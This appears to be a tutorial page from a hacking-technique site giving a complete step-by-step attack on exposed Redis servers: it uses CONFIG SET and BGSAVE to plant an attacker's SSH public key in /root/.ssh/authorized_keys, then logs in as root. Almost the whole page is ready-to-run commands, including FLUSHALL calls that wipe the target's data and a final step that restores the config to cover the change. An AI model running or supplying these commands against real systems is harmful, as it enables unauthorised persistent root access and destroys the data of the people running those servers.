Skip to content
HackIndex logo

HackIndex

Redis RCE via SSH Key Injection

3 min read Jul 10, 2026

Redis can write any data to any writable path on disk. By pointing the DB save path at /root/.ssh/ and writing your SSH public key as the DB content, you inject an authorized key and can then SSH in as root — or as whatever user Redis is running as. This gives persistent access rather than a reverse shell, and is often more stable than the cron technique on newer Linux distributions.

Prerequisites Check

1 – CONFIG access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a path, not an error.

2 – SSH port open:

┌──(kali㉿kali)-[~]
└─$ nmap -p 22 $TARGET_IP

SSH must be listening. If it is not, the technique still injects the key but you cannot use it until SSH is enabled.

3 – Redis can write to the target SSH directory:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /root/.ssh

OK confirms write access. This requires Redis to be running as root. For non-root Redis, try the home directory of the redis user instead:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /home/redis/.ssh

If that directory does not exist, create it first from any existing shell on the target.

Step 1 – Generate or Use Your SSH Key

Generate a key pair if you do not have one:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa -b 4096 -f /tmp/redis_key -N ""

Read the public key:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/redis_key.pub

Step 2 – Record the Original Config

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dbfilename

Step 3 – Write the Public Key into Redis

Pad the key with newlines to ensure cron-style garbage in the RDB file does not corrupt the authorized_keys format — SSH is strict about the file format:

┌──(kali㉿kali)-[~]
└─$ (echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/redis_payload.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ cat /tmp/redis_payload.txt | redis-cli -h $TARGET_IP -p 6379 -x set sshkey

Step 4 – Save the Key to authorized_keys

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /root/.ssh
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename authorized_keys
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Confirm the save:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 lastsave

Step 5 – Connect via SSH

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/redis_key root@$TARGET_IP

For a non-root Redis user:

┌──(kali㉿kali)-[~]
└─$ ssh -i /tmp/redis_key redis@$TARGET_IP

If the connection is refused, the authorized_keys file may have bad permissions. From an existing foothold:

┌──(kali㉿kali)-[~]
└─$ chmod 600 /root/.ssh/authorized_keys
┌──(kali㉿kali)-[~]
└─$ chmod 700 /root/.ssh

Step 6 – Restore Original Config

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Finding the Redis User's Home Directory

If Redis is not running as root but you do not know the user's home directory:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /tmp
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename test_write
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Then from a shell, check who owns /tmp/test_write:

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/test_write

The owner is the Redis user. Check their home directory:

┌──(kali㉿kali)-[~]
└─$ getent passwd redis

Use that home path for the .ssh/authorized_keys write.

References